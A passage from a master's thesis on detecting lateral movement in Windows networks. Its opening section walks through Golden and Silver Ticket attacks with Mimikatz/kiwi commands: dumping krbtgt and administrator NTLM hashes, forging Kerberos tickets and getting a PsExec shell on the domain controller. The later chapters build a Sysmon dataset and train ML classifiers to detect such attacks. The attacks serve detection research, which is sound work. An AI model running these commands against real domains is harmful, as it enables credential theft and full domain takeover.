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from the targeted DC while the parameter /name was set to “krbtgt” in order to

get the krbtgt credentials of the user account we want to impersonate as it is shown

in Figure 5.29)

kiwi cmd lsadump::lsa /inject /name:krbtgt

Figure 5.29: krbtgt credentials of the user account stefalti

5.4.4.2 GT Creation

For the GT creation procedure, the combination of the aforementioned retrieved

information is required in order to succeed in moving laterally with persistence

around the targeted network hosts. This was accomplished with the execution of

the following command in kiwi tool. In more detail, the appropriate parameters

were set as follows (Figure 5.30).

• u: target user accounts’ name, the ticket will be created for.

• -d : targeted domain.

• -k : kgbpt user accounts’ credentials

• -s : targeted Domain SID.
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• -t : directory that ticket for the impersonated user is saved.

golden ticket create -u stefalti -d stefania.local -k

1731607e008f850915d2e2e77bbf7a33 -s S-1-5-21-332653114-629412497-1093265668

-t /home/stefalti/Desktop/golden.tck

Figure 5.30: GT Creation

The next step after the creation of GT, was to be applied successfully not only

to the current session but also to the entire domain so as the command prompt

is capable of having access to all machines, directories, services and credentials on

the entire domain. The goal is a low level user account that was not previously

privileged can act as a Domain Administrator after the Golden’s ticket application.

For accomplishing this, the following commands were executed in the order they

presented below (Figure 5.31):

kerberos ticket use /home/stefalti/Desktop/golden.tkt

kiwi cmd misc::cmd

Figure 5.31: GT Application with privileges to the whole domain

5.4.5 Confirmation of Administrative Privileges Acquisition

For the collection of all the available Kerberos tickets, kerberos ticket list com-

mand was executed while the command kiwi cmd kerberos::tgt was used for the

submitted ticket retrieval after the execution of this attack as demonstrated in Fig-

ures 5.32 & 5.33.
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Figure 5.32: Kerberos tickets collection

Figure 5.33: Retrieval of submitted Kerberos tickets

Due to the NTLM Hash created for the krbtgt account, the Kerberos authen-

tication protocol will deem this TGT to be reliable. As a result, both malicious

and legitimate owners of this ticket will be given administrator privileges, allowing

them full access to network resources that are utilized for Kerberos authentication,

including the DC.

The final step is to verify that a non-privileged user has administrative rights

after the attack. To this end, PSExec tool was utilized to excecute PsExec.exe

\\192.168.1.14 cmd Windows command.As a result, successful access to Windows

Server 2019 was obtained through the command line of user stefalti. The result is

depicted in Figure 5.34 where the IP address of a user is shown in left while in right

it is proven that the user gained shell access to the Domain Controller.
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Figure 5.34: Shell access to the DC of Windows 2019 server using PsExec tool.

5.4.6 ST Attack Execution and Successful Access to the

Targeted System

As GT attack, ST attack execution is supported also by kiwi. More specifically, in

the context of this thesis, ST was created for the Kerberos vulnerability exploitation

of the stefalti account on the targeted STEFANIA domain network. It is about a

combination of the already presented PtH, PtT and GT attacks. The parameters

that are required for the creation of the ST defined as follows:

• domain - Domain Name

• /sid - Domain SID

• /user - Username to impersonate

• /groups – Specifies a specific group that the targeted user belongs to. It is

optional

• /ticket – Specifies the file path for saving the created Golden/Silver ticket.It

is optional.

• /ptt – Utilizes the PtH technique to directly inject the ticket into memory of

the Server

• /target – Refers to the under attack server
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• /service – Refers to the Kerberos service running on the Server-target, which

will be exploited using the forged Silver TGS Ticket

• /rc4 - Refers to the Administrator NTLM hash associated with the exploited

/service.

5.4.7 ST Execution

In order to carry out the ST, the same approach as in GT was implemented,

beginning with the gathering of the targeted network’s domain name and SID in-

formation. As it is shown in Figure 5.35, whoami /user command was executed in

order to reveal the necessary information.

Figure 5.35: Domain name and SID stefania.local\administrator

5.4.8 NTLM hash extraction for the stefania.local\dministrator

account

For the extraction of NTLM hashvalues related to the stefania.local\Administrator

account, similar procedure as in GT attack was followed using LSA NTLM hash

dump appropriate command in kiwi environment as follows while it is also demon-

strated in Figure 5.36

dcsync ntlm STEFANIA\administrator
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Figure 5.36: NTLM hash credentials for the stefania.local\administrator

5.4.9 ST Creation using Retrieved Information

For the creation of ST, the same command as in GT was executed using kiwi tool,

in an already opened meterpreter environment. To this end, parameters /target,

/service and /rc4 that have already referred, are required. This piece of informa-

tion, when combined appropriately with other necessary elements in kiwi, result in

successful creation of ST while allow the attacker to deploy LM with persistence

around the targeted network host, exploiting the specified services (Figure 5.37).

The execution procedure of ST was implemented with the execution of the fol-

lowing command:

kiwi cmd ’kerberos::golden /domain:stefania.local

/sid:S-1-5-21-205864527-64185754-2840357767

/target:WIN-0SBKADTJ0O5.stefania.local /service:cifs

/rc4:72522db2e467a94d5c3fb8aed0ba7e4d /user:Administrator /ptt’

66



Chapter 5. Implementation of Lateral . . . 5.4. Execution of PtH . . .

Figure 5.37: Successful creation of the ST for the Administrator

5.4.10 Service Exploitation Confirmation with ST

During the last phase of the ST attack implementation process, the TGS is gener-

ated in advance and is considered reliable by the Kerberos authentication protocol.

Therefore, any owner of the ticket, legitimate or not, will acquire administrative

rights and unlimited access to network facilities related to Kerberos authentication

for the specified service. Using the command kerberos ticket list all available Ker-

beros Tickets are harvested. The whole process is demonstrated in Figure 5.38.

Figure 5.38: Available Kerberos tickets
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Chapter 6

Supervised ML Algorithms for

Detection of Μalicious Techniques

6.1 Methodology

6.2 MS Windows Sysmon Log Dataset

The dataset of MS Windows Sysmon logs under scrutiny in this master’s thesis

was meticulously assembled from the continuous monitoring and logging of inter-

actions within a SOHO network environment, a depiction of which is illustrated in

Figure 4.1. This comprehensive dataset comprises log entries, encompassing both

normal and malicious traffic. Of particular significance are the malicious records,

primarily stemming from a spectrum of LM attacks, which are exhaustively elu-

cidated and analyzed in Chapter 5. These malicious activities were developed in

conjunction with legitimate user interactions on the SOHO network, creating a dy-

namic and complex environment for analysis.

During the initial data collection process, mostly typical activities were observed.

These activities included user logins, logouts, web interactions, file exchanges, email

communications, and interactions at six different client stations, detailed in Ta-

ble 4.1.

In the Microsoft Windows environment, a series of attacks have been launched,

escalating from the Exploitation of Remote Services such as Eternal Blue and Zerol-

ogon to sophisticated credential theft techniques such as PtH, PtT, GT and ST. It is

worth noting that the execution of the above, linked to CVEs have been re-executed

several times so as an adequate data set is constructed. However, due to limitations

in the duration of the attack simulation, the resulting dataset only comprised of

268,788 event log samples.

For the needs of this master’s thesis, given the limited number of Sysmon logs
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available in this dataset, several steps were taken to enhance it. To this end, it is

considered as more appropriate the combined use of the existing dataset with the

publicly available LMD-2023 dataset [36] that comprises a comprehensive collection

of 1,752,890 log samples, as thoroughly described in [15].

6.3 Data Preprocessing of MS Sysmon Logs

Data preprocessing is a critical step in ML that ensures that raw data, in this

case, Sysmon logs, are transformed into a structured and machine-readable format,

specifically in CSV. The primary aim of the preprocessing stage was to transform

the Sysmon logs into a format compatible with various ML algorithms. This in-

volved a series of encoding, normalization, and scaling operations to render the data

seamlessly interpretable by computational algorithms.

6.3.1 Dataset-Specific Preprocessing

The MS Windows Sysmon Log Dataset, initially containing 268,788 log files, was

subjected to rigorous preprocessing to improve its suitability for ML applications.

First, a Python scripting analysis tool, namely “PeX” has been employed, which

helps the analysis of voluminous Sysmon logs serving as a Proof of Concept (PoC)

for the proposed rule-based policy’s efficiency as it is thoroughly described in [61].

As the primary goal of the tool is to filter out the least unwanted noise, it was used

to exclude certain values that could compromise the accuracy training and would

negatively affect the final evaluation of the model. To that end, all these values

were identified and eliminated such as “NaN”, “Null”, tiny floating-point numbers,

values in scientific notation, and hyphenated entries. In the absence of genuine data,

blank cells were filled with 0 using the Python function fillna().

In the next step of preprocessing, a subset of features -Name, Guid, Opcode,

Keywords, Correlation, Channel, State, Version, StartFunction and ID- was selected

and considered appropriate to be excluded from the original dataset due to the

presence of low cardinality, as they hold the same value(s) across all samples, making

them ineffective in contributing meaningfully to the detection of LM techniques, as

it is shown in Table 6.1.
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Table 6.1: Dropped Features from MS Sysmon Dataset

Dropped Feature Value

Name Microsoft-Windows-Sysmon

Guid {5770385f-c22a-43e0-bf4c-

06f5698ffbd9}

Opcode 0

Keywords 0x8000000000000000

Correlation 0

Channel Microsoft-Windows-

Sysmon/Operational

State Started or 0

Version 20,30,50

StartFunction 0

ID GetConfigurationOptions or 0

6.3.2 Dataset Labeling

Supervised ML approaches depend on their reliance on labeled data during each

algorithm’s training phase. However, this requires the implementation of a data

labeling procedure for the dataset. Within the scope of this thesis, we adopt the

dataset labeling methodology established by the LMD-2023 dataset, as it serves as

the principal dataset for our research experiments.

According to [62], in the LMD-2023 dataset, three distinct classes have been

defined, each assigned specific labels, namely Normal, Exploitation of Remote Ser-

vices (EoRS) and Exploitation of Hashing Techniques (EoHT). More specifically,

Normal subset encompasses logs (events) pertaining to legitimate network traffic

and were gathered both before and during the execution of LM techniques. The

EoRS dataset encompasses a comprehensive collection of logs that document net-

work traffic captured at various stages—before, during, and after the EoRS. This

dataset includes multiple variants of EoRS techniques, offering a detailed view of

the interactions and methodologies employed in remote service exploitation. On

the other side, EoHT comprises logs collected during the execution of Credentials

exploitation techniques 5, comprising distinct EoHT technique variants.
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Following the aforementioned labelling procedure, as the first step, we again have

employed “PeX, which also contributes to the early detection of LM events. [61].

Apart from filtering out minimal unwanted noise, the tool’s objective is also to

categorize logs based on potential security risks, as distinguished by certain char-

acteristics or patterns. It transforms the voluminous raw MS Sysmon logs into a

meticulously labeled dataset, thus facilitating efficient subsequent analyses. After

successful preprocessing of all 268,788 event log records of the original dataset, of

utmost importance is the “Label” column, which denotes the categorized assignment

based on distinct patterns or intrinsic characteristics of the logs. A detailed decom-

position of the labels clarifies the “2” categorization corresponding to 12,774 events

as EoHT, the “1” label, assigned to 1,602 events as EoRS, and the “0” label, assigned

to 254,412 event records representing Normal traffic. The initial .evtx transformed

into a .csv file, which ensures a compatible format so that it can be processed by ML

algorithms.The overall structure of labelling procedure is demonstrated in Table 6.2

revealing also the presence of a highly imbalanced dataset.

In Table 6.3 are demonstrated the entire set of attacks which contains the attacks

executed for the generation of LMD-2023 as well as the attacks launched for the

creation of the MS Windows Sysmon Log Dataset along with their CVEs and the

LM class that was defined according to LMD-2023 labeling procedure.

Table 6.2: Structure of the MS Sysmon Log labeled dataset

MS Sysmon Log Subset Class Label Samples % over MS Sysmon Log

Normal 0 254,412 ≈94%

EoRS 1 1,602 ≈0.6%

EoHT 2 12,774 ≈5%
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LM exploit CVE ID Class

ms17-010 CVE-2017-0148 EoRS

EternalBlue CVE-2017-0144 EoRS

WannaCry CVE-2017-0143,

CVE-2017-0145,

CVE-2017-0146 EoRS

Bluekeep CVE-2019-0708 EoRS

SMBGhost CVE-2020-0796 EoRS

SMBleed CVE-2020-1206 EoRS

Zerologon CVE-2020-1472 EoRS

Log4Shell CVE-2020-1472,

CVE-2021-44228 EoRS

Mimikatz/Kiwi CVE-2021-36934 EoHT

LaZagne Project CVE-2021-40444 EoHT

Follina CVE-2022-30190 EoRS

Windows Spooler Privilege

Escalation

CVE-2022-29104 EoRS

Table 6.3: Techniques related to LM encompassed within both datasets

6.3.3 Feature Selection

As it is mentioned in 4.1, in the process of creating the present dataset, a con-

trolled testbed was established to generate traffic related to LM attacks. However,

due to limitations in the duration of the attack simulation, the resulting dataset

only contained approximately 268,788 event logs.

For the needs of this master’s thesis, recognizing that this volume of logs was

insufficient for robust analysis, several steps were taken to enhance the dataset. To

that end, it was considered as more appropriate to selectively combine a set of com-

mon features with LMD-2023 dataset [36]. Regarding the features that will be used,

these have been extracted from data concerning both normal network traffic and

malicious activities, which have been meticulously collected from various sources,
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including personal computer workstations and VM environments. For any sample to

be effective for the later detection of LM, it should include a wide range of informa-

tion about each LM technique, whether textual, numeric or boolean. The selection of

each feature was based on a thorough analysis of the characteristics of each LM tech-

nique, since at its core, an attacker’s LM strategy is based on gaining remote access

to a secure environment. The “modus operandi” then revolves around maintaining

stealth for an extended duration. By simulating processes and active applications

within the compromised infrastructure, the attacker seeks to move methodically

and laterally towards its primary target. After the detailed labeling using the PeX

tool 6.3.2, a feature extraction process was carried out, following the methodology

detailed in [62].

During this phase, a set of features were selected from Sysmon logs, which have

been deemed critical for the detection of LM, as they are presented in detail in

Table 6.4. Each feature is accompanied by its official definition and the reason for

its inclusion in the detection model.

Specifically, “Computer”, although seemingly simple, was particularly important

to the analysis process. It not only identified the specific machine on which an event

was implemented, but also served as a pivot for mapping potential conflicting paths

through a multitude of systems - a critical element in constructing a comprehensive

LM chronology. “DestinationPortName” feature, in a similar sense, emerged as a

central control point. Since ports often serve as pipelines for cyber activities, a de-

tailed examination of network connections at various ports could provide important

information. Anomalies or deviations in this context, particularly towards unusual

ports, could be precursors to LM tactics. In Sysmon logs, “EventID” is a categor-

ical attribute that provides the necessary context. With each event type uniquely

identified, the definition of specific events reveals a clearer picture of system activ-

ities, and any discrepancies could signal potential malicious maneuvers. Features

such as “ProcessId”, while perhaps not directly indicating LM, play a subtle but

crucial role. They can help establish connections or relationships between different

processes, providing a layered understanding of system activities. Such process con-

nections, especially when considered together with other data, can provide valuable

clues to potential security breaches or adversarial strategies. In terms of network

topology, the “SourceIsIpv6” attribute can be revealing. If, for instance, an organi-

zation is operating primarily with IPv4 and suddenly notices a spike in IPv6 traffic,

this could be a red flag, indicating possible hostile activity or network probing. Fi-

nally, time-stamped attributes such as “SystemTime year, month, week, day, hour,

minute, day of week” are invaluable. They not only help in constructing a time

map of events, but also in detecting anomalies. For example, system activities dur-

ing non-working hours or patterns that deviate from the norm may be indicative of
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LM.

Given that our dataset shared similar features with the LMD-2023 dataset, we

decided to merge the two datasets. This integration produced a new dataset that

incorporated instances from both original datasets, resulting in a collection of het-

erogeneous data derived from various experiments.

As a consequence of this process, the shallow ML models employed for LM event

classification were then evaluated for their capacity to generalize across different

datasets. This evaluation was necessitated by the alteration in the cardinality of

feature values in the new dataset. Features that originally had only a limited number

of values could potentially lead to overfitting, where the algorithm overly relies on

specific values to make predictions.

By introducing higher cardinality to the feature values, the goal was to create a

more reliable and robust model that would not overly depend on a small subset of

features for predictions. This adjustment aimed to enhance the model’s ability to

generalize and perform effectively across various datasets, ultimately improving the

accuracy and reliability of LM attack detection.

6.4 Feature Importance in LM Detection

6.4.1 Feature Importance

Feature importance is a pivotal aspect of ML, providing valuable insights into

which attributes or features most influence a model’s predictions. By determining

the importance of each feature, one can prioritize features based on their impact

on a model, improving model interpretability, performance, and generalization. In

the realm of cybersecurity, especially in detecting LMs using Sysmon datasets, un-

derstanding the crucial features can streamline the detection process, making the

system more resilient to attacks by focusing on the most pertinent indicators.

For the context of this thesis, Feature Importance was explored through three

distinct classifiers: Decision Trees (DT), Random Forest (RF), and Light Gradient

Boosting Machine (LightGBM). Each of these classifiers inherently offers a mecha-

nism to compute the importance of each feature used in training the model:

1. DT: DT rank features based on the number of times a feature is used to

split the data. A feature that results in large gains (e.g., Gini impurity or

information gain) is deemed more important.

2. RF: RF, an ensemble of DT, averages the importance from individual trees.

This ensemble approach makes RF more robust and reduces the susceptibility

of its feature importance metrics to overfitting, in contrast to a single DT.
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3. LightGBM: LightGBM, a gradient boosting framework, also provides feature

importance based on the number of times a feature is used to split the data,

similar to DT. However, its gradient-boosting mechanism can capture complex

feature interactions and nonlinearities, providing a different perspective on

feature importance compared to traditional trees.

After training each classifier, the feature importance is extracted, collated, and

stored in a DataFrame. This DataFrame is then sorted based on the mean im-

portance value across the three classifiers, giving a consolidated view of feature

significance.

6.4.1.1 Exclusion of KNN

Notably absent from this feature importance exploration is the KNN algorithm.

The primary reason for KNN’s exclusion lies in its algorithmic nature:

• KNN is an instance-based, non-parametric learning algorithm. Unlike the

tree-based methods or regression models, KNN does not possess a distinct

“training” phase where it learns parameters or structures from the training

data.

• Given its reliance on distance metrics to determine the ’closeness’ of instances,

KNN does not inherently rank or score features by importance.

While methods exist to interpret KNN’s decision-making process (e.g., through

permutation importance or LIME), they are indirect and might not be as intuitive

or straightforward as the inherent mechanisms offered by tree-based models.

6.4.1.2 Application in LM Detection

In the progression of this work, this section delineates the application of feature

importance analysis in the context of LM detection. As part of our methodologi-

cal approach, we utilized the Sysmon tool to collect detailed log data, from which

we extracted a comprehensive set of features. The subsequent analysis, aimed at

identifying the most influential attributes, is graphically represented in Figure 6.1,

where the mean feature importance is depicted across all classifiers tested within our

experimental framework. It conveys the hierarchy of feature significance, revealing

that certain Sysmon event types are more critical in detecting LM activities. The

bar chart elucidates the varying degrees of relevance among the features, with the

first top features emerging as particularly consequential in the predictive modeling

of LM behavior. By refining our focus to these pivotal features, we enhance the ef-

ficiency of our detection algorithms, potentially decreasing computational overhead

and mitigating the occurrence of false positives.

75



Chapter 6. Supervised ML Algorithms for . . . 6.4. Feature Importance in . . .

The synthesized findings from this feature importance analysis contribute a data-

driven foundation to the security domain, particularly in refining detection strategies

against LM threats. This targeted approach, predicated on empirical evidence,

significantly bolsters the detection capabilities of our proposed system, ensuring a

robust defense mechanism that is both responsive and precise.

Figure 6.1: Feature Importance for MS Sysmon Log Dataset among all classifiers

6.4.2 Data Handling

In this thesis, data preprocessing encompasses the steps taken after converting

Sysmon logs into CSV format that is suitable to be fed to ML algorithms. This

preprocessing specifically deals with encoding, normalizing, and scaling the initial

data to ensure it’s efficiently interpretable by ML models.

6.4.2.1 Handling of Categorical Data

One-Hot Encoding (OHE) [51] is a pivotal preprocessing technique tailored for

categorical data, particularly in the realm of ML and data analytics. Categori-

cal data, fundamentally, encompasses variables that are characterized by labels as

opposed to quantitative values. Within this typology, data can either be nominal

(having categories based on a shared trait without a discernible order) or ordinal
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(having categories with an inherent sequence). Given the nature of most ML algo-

rithms which function optimally with numeric input, OHE stands as a cornerstone

method for the transformation of these categorical labels into a binary matrix. The

resultant matrix ensures that the inherent characteristics of categorical data are

preserved, obviating any unwarranted ordinal assumptions by the model.

In our Sysmon dataset, features such as “Computer”, “DestinationPortName”,

“EventID”, and a subset of “SystemTime” components have been adeptly processed

through OHE as it is presented in Table 6.5. This ensures that the nominal char-

acteristics intrinsic to these features are not misconstrued by the model as having

ordinal properties. Each category, post-OHE, possesses its individualized binary rep-

resentation, forestalling any inadvertent hierarchical interpretations by subsequent

analytical models [19].

6.4.2.2 Scaling of Numerical Data

Min-Max scaling, often termed asMin-Max normalization [41], is an indispensable

technique in the preprocessing of numerical data, primarily aimed at re-scaling the

range of feature values. The underlying tenet of this technique is to transmute the

numeric values of a feature such that they resonate within a predetermined range,

typically [0,1]. This transformation is executed without distorting the differences

in the range of values or the relationships between features. The mathematical

formulation that is employed is the

xnorm =
x− xmin

xmax − xmin

where,

• xnorm is the normalized value.

• x is the original value.

• xmin and xmax are the minimum and maximum values of each feature, respec-

tively.

Within the context of the Sysmon dataset, features as “ProcessId”, “System-

Time day”, “SystemTime hour”, and “SystemTime minute” underwent Min-Max

scaling as it is demonstrated in Table 6.5. These features, presumably continuous or

discrete in nature, benefit from normalization, ensuring a harmonized scale. In the

broader scope of ML, especially when confronted with imbalanced datasets, such

consistent scaling becomes paramount. While Min-Max scaling, in isolation, won’t

redress the challenges poised by an imbalanced dataset, it paves the way for more
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sophisticated resampling or modeling techniques, facilitating a more calibrated and

unbiased model training.

6.4.2.3 Normalization

Normalization stands as an essential preprocessing mechanism, primarily em-

ployed to standardize the numerical features within a dataset, ensuring they conform

to a specific scale, typically between [0,1].

In the realm of ML and data analytics, such transformation is indispensable, es-

pecially for algorithms that hinge on the magnitude or scale of the data. Within

the Sysmon dataset, features such as “ProcessId”, “SystemTime day”, “System-

Time hour”, and “SystemTime minute” were subjected to normalization, specifi-

cally using the Min-Max scaling technique. This method recalibrates each feature’s

numeric values, utilizing the beforementioned mathematical formula, where x desig-

nates an individual data point. The rationale behind this transformation is twofold:

firstly, to ensure that all numerical attributes contribute equitably to the model’s

performance by resonating within a harmonized scale, and secondly, to mitigate any

undue influence that larger magnitude features might exert. Given the intricacies

of the Sysmon dataset and the challenges often presented by imbalances, the strate-

gic application of normalization not only enhances model training efficacy but also

ensures a more nuanced and representative understanding of the underlying data

patterns [58].
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Feature Method Reason

Computer OHE Categorical nature of data

DestinationPortName OHE Categorical nature of port numbers

EventID OHE Categorical event types

ProcessId MinMax Continuous nature, normalized for ML

SourceIsIpv6 OHE Categorical nature of IP addresses

SystemTime year OHE Categorical nature of year

SystemTime month OHE Categorical nature of month

SystemTime week OHE Categorical nature of week number

SystemTime day MinMax Continuous nature of day, needs normalization

SystemTime hour MinMax Continuous nature of hour, needs normalization

SystemTime minute MinMax Continuous nature of minute, needs normalization

SystemTime day of week OHE Categorical nature of weekday

Table 6.5: Methodology for Sysmon’s Feature Encoding and Scaling
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Chapter 7

Methodology and Algorithms for

Detecting Lateral Movement

Attack

In this section, we provide an overview of the algorithms used to detect LM

attacks using the common features extracted from the two datasets. Our goal is

to leverage the knowledge gained from feature extraction using the Sysmon tool

to effectively detect and characterize these sophisticated cyberattacks. To achieve

this goal, we explore a number of shallow ML algorithms, each of which is tailored

to the unique requirements of LM attack detection. A comparative analysis of the

generated results based on the metrics used is then performed.

7.1 Algorithms

7.1.1 k-Nearest Neighbors

k-Nearest Neighbours (KNN) emerges as a versatile technique to detect LM at-

tacks through Sysmon-derived features. Operating on the principle of proximity,

KNN assesses patterns of LM by gauging the similarities and dissimilarities among

Sysmon log entries. This method adeptly clusters suspicious activities, granting

valuable insights into potential LM behaviors. Within the thesis’ context, KNN

stands out as an instrumental tool for revealing hidden patterns embedded within

the dataset [71].

7.1.2 Mathematical Formulation

The mathematical foundation of the KNN algorithm has been well established in

the literature [57] [1]. While its formulation is generalizable across different appli-

81



Chapter 7. Methodology and Algorithms for . . . 7.1. Algorithms

cations, our focus lies in tailoring and understanding it in the context of Sysmon-

derived log entries for LM attack detection. The intrinsic principles behind KNN’s

decision-making mechanism can be summarized through the following steps:

Given a set of labeled Sysmon log entries

D = {(x1, y1), (x2, y2), . . . , (xN , yN)}

where each xi signifies a log entry and yi ∈ {0, 1} (0 for benign and 1 for suspicious),

the KNN algorithm can be delineated as follows:

1. Distance Measure: For an unlabeled log entry x, compute its distance to all

other entries in the dataset. The Euclidean distance is frequently employed:

D(x, xi) =

√∑
k

(xk − xik)2

where xk is a feature of x and xik corresponds to the same feature in xi.

2. Neighbor Voting:According to Classification Rule [34], ascertain the k near-

est log entries (neighbors) to x and determine the majority class among them.

This class is then ascribed to x.

3. Choice of k: The value of k is typically derived through a cross-validation

procedure to ensure an optimal classification outcome.

KNN ’s applicability to diverse LM scenarios allows us to explore feature relation-

ships and detect deviations from normal network traffic. Its role in clustering aids

in the identification of anomalous LM behaviors.

7.1.3 Decision Trees

Decision Trees serve as a fundamental component in the pursuit of detecting

LM attacks using Sysmon-derived features. These trees represent a transparent

decision-making process, critical for understanding and explaining the logic behind

LM detection. Decision Trees meticulously scrutinize the characteristics extracted

from Sysmon logs, making them adept at pinpointing specific attributes that signal

potential LM activities. This interpretability and precision render Decision Trees

an essential tool in the thesis’s investigative arsenal.

Decision Trees enable us to dissect Sysmon log data systematically, making them

indispensable for uncovering the intricate details of LM attacks. Their role in feature

selection and pattern recognition is instrumental in our research.
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7.1.4 Mathematical Formula of Decision Trees

Decision Trees (DT) provide a transparent and systematic approach to classify

data using a series of decisions based on feature thresholds. Central to DT is the

concept of maximizing the information gain at each node. The Information Gain

(IG) is mathematically defined as:

IG = Entropyparent −
∑
child

size(child)

size(parent)
× Entropychild (7.1)

Where the Entropy, a measure of disorder or impurity of a node, is given by:

Entropy(t) = −p+ log2 p+ − p− log2 p− (7.2)

Here, p+ and p− denote the proportions of positive and negative samples at

node t respectively. By striving to maximize IG, decision trees choose the optimal

feature and threshold to split on, enabling them to dissect the Sysmon log data

space and highlighting intricate LM attack patterns. This emphasizes the pivotal

role of feature-based discernment in cybersecurity [6] [37].

7.1.5 Random Forest

Random Forest is a powerful ensemble learning method extensively employed

for the detection of LM attacks based on features extracted from the Sysmon tool.

This algorithm amalgamates multiple decision trees to create a robust and accurate

model capable of identifying subtle patterns indicative of LM activities. Each tree

in the forest is trained on a distinct subset of the data, ensuring comprehensive

coverage of potential LM behaviors. Random Forest ’s interpretability and resilience

against overfitting make it an invaluable asset in this endeavor. Random Forest

has found significant utility in our research due to its ability to handle complex

and high-dimensional data extracted from Sysmon logs. Its adaptability to diverse

LM attack scenarios and interpretability facilitate a deeper understanding of the

detected threats.

7.1.6 Mathematical Formula of Random Forest

The Random Forest (RF) algorithm, pioneered by Breiman [6], combines predic-

tions from multiple decision trees to give a powerful ensemble model. The power

of RF lies not only in the nature of the ensemble, but also in its ability to effi-

ciently navigate high-dimensional spaces, such as those arising from Sysmon logs

in the cybersecurity field. Through a systematic bootstrap sampling and decision

tree construction process, RF provides an adaptive mechanism for discriminating
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complex patterns in the data [21, 38].

For a given input x, RF’s prediction is an ensemble average:

RF (x) =
1

B

B∑
b=1

Tb(x) (7.3)

Where Tb(x) represents the prediction of the bth tree and B stands for the to-

tal number of trees in the forest. But what truly distinguishes RF is its training

regimen: each tree is nurtured using a unique bootstrapped sample of the data,

and during the node-split process, only a random subset of features is considered.

This ensemble method culminates in a prediction typically determined by majority

voting, amalgamating insights from all its constituent trees.

This combination of multiple decision trees through bootstrapping and feature

randomness captures a wider array of patterns. By doing so, RF not only proves

adept at handling the intricacies of datasets like Sysmon logs but also significantly

curtails overfitting, which is often a concern with standalone decision trees.

7.1.7 LightGBM

LightGBM, renowned for its efficiency and speed, stands as a pivotal component

in the context of this master’s thesis to uncover LM attacks. With Sysmon-based

feature extraction at its core, LightGBM employs a sophisticated gradient boosting

algorithm to discern intricate LM patterns swiftly and accurately. Its ability to

handle large datasets and maintain high performance positions it as an indispensable

tool for the detection of LM activities within Sysmon logs.

LightGBM ’s agility in processing Sysmon-derived features enables us to conduct

real-time monitoring of network activities. Its adaptability to evolving LM attack

techniques ensures that our detection capabilities remain robust and up-to-date [33].

7.2 Rationale Behind Metric Selection in Evalu-

ating Classifiers

In this section, we elucidate the underlying considerations behind our metric

selection, with particular emphasis on the inclusion of the accuracy metric. We aim

to shed light on its incorporation despite its recognized shortcomings in imbalanced

contexts such as our LM dataset.
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7.2.1 The Background of the MS Sysmon Log dataset Dataset

In relation to Table 6.2, the labeled version of the MS Sysmon Log dataset, given

its pronounced imbalance, necessitates the adoption of evaluative metrics that can

truly gauge the effectiveness of a machine learning model. Given the distribution

disparities among these classes, conventional metrics, like accuracy, might not cap-

ture the true essence of a model’s discriminative power. Specifically, a model might

attain high accuracy merely by predicting the majority class, thereby providing an

inflated and potentially misleading view of its efficacy. Among the available met-

rics, the Area Under the Curve (AUC) and the F1-score stand out as particularly

pertinent for this dataset.

7.2.1.1 Area Under the Curve (AUC)

The AUC, stemming from the domain of machine learning, serves as a vital mea-

sure, quantifying the ability of a model to distinguish between various labels in a

multiclass task. Fundamentally, the AUC is derived from the Receiver Operating

Characteristic (ROC) curve. This curve offers a visual representation of the perfor-

mance spectrum of binary classification or regression algorithms [42].

At its core, the ROC curve plots the True-Positive Rates (TPR) against the

False-Positive Rates (FPR) across diverse thresholds. By capturing the trade-offs

between these rates, it provides comprehensive insights into classifier performance.

The AUC metric, as the name suggests, quantifies the area underneath this ROC

curve. Its value provides a succinct summary of the aggregated performance across

all possible threshold values. A model achieving an AUC closer to 1 is emblematic

of superior capability in differentiating between classes, in this context, specifically

between “Normal” and “Malicious” classes.

7.2.1.2 One-vs-all Label Binarizer (LaBi) Schema

Considering that Table 6.2 delineates three distinct classes, it presents a quintessen-

tial multiclass classification problem. To adapt the binary-focused AUC metrics to

such multiclass scenarios, the one-vs-all Label Binarizer (LaBi) schema becomes

instrumental.

Label Binarizer (LaBi), incorporated into the preprocessing suite of the Sklearn

Python library [60], essentially converts multiclass labels into a binary matrix rep-

resentation. It achieves this by treating each class as the “positive” class against a

combined “negative” class made up of all other classes. For the MS Sysmon Log

dataset experiments, approximately 25% of the evaluated samples, categorized as

the test subset, and their corresponding model-predicted labels, serve as inputs to

LaBi.
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After the binarization process, for every class treated as a binary positive against

the rest, an ROC curve can be plotted. From these curves, the roc auc score()

function from the sklearn.metrics package is deployed to compute individual AUC

values, providing an expansive view of the model’s performance across the multiclass

spectrum [48].

7.2.1.3 F1-score and its Relevance

The F1-score emerges as an indispensable metric, especially in the milieu of im-

balanced datasets where traditional accuracy might prove misleading. Comprising

both Precision (which quantifies the percentage of positive predictions that were in-

deed correct) and Recall (which measures the percentage of actual positive instances

that the model predicted correctly), the F1-score synthesizes these metrics into a

singular value. Formally, it is derived using the formula:

F1 =
2 ∗ Precision ∗Recall

Precision+Recall
=

2 ∗ TP
2 ∗ TP + FP + FN

In essence, the F1-score captures the balance between Precision and Recall. Given

its sensitivity to both false positives and false negatives, it provides a more compre-

hensive and realistic assessment of model performance, especially in datasets where

one class is underrepresented[59].

7.3 Experimental Environment and Software Con-

figuration

The shallow classification experiments on the labeled final dataset were meticu-

lously designed to assess the performance of four prominent ML algorithms. The

selection of these algorithms aimed to facilitate a comprehensive comparison of their

capabilities. The experimentation environment consisted of a dedicated computing

system running Microsoft Windows 10 Home Edition (version 22H2, OS Build:

19045.3448).

The hardware configuration of the experimentation machine included an Intel(R)

Core(TM) i5-4210M CPU clocked at 2.60GHz with a CPU frequency of 2.59 GHz,

complemented by 8 GB of RAM. Additionally, an NVIDIA GeForce GTX 1650 was

present; however, it’s important to note that the experiments were conducted ex-

clusively using the base machine’s CPU and RAM. No GPU acceleration techniques

were applied in the experiments that were conducted.

The development and execution of all relevant scripts and code were carried out

using Python version 3.10.12. The core ML algorithms were implemented through
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the sklearn library version 1.2.2, which offers a rich set of tools for ML tasks. For

the current dataset, OneHotEncoder() and MinMaxScaler() from this library, same

version were used for OHE and normalization, respectively. Data manipulation and

analysis were facilitated using Pandas version 1.5.3, while numerical computations

and arrays were handled by NumPy version 1.23.5. Data visualization was achieved

using Seaborn version 0.12.2 and Matplotlib version 3.7.1 libraries and packages.

Furthermore, the LightGBM algorithm, a gradient boosting framework, was im-

plemented using the respective LightGBM package, providing an efficient and pow-

erful tool for gradient boosting tasks.

7.4 Comparative Analysis of Machine Learning

Classifiers

Table 7.1 compiles the outcomes of the shallow classification process for each

respective classifier. As it is already mentioned in section 6, this particular classifi-

cation is carried out between Normal traffic, EoRS, and EoHT. It is worth mention-

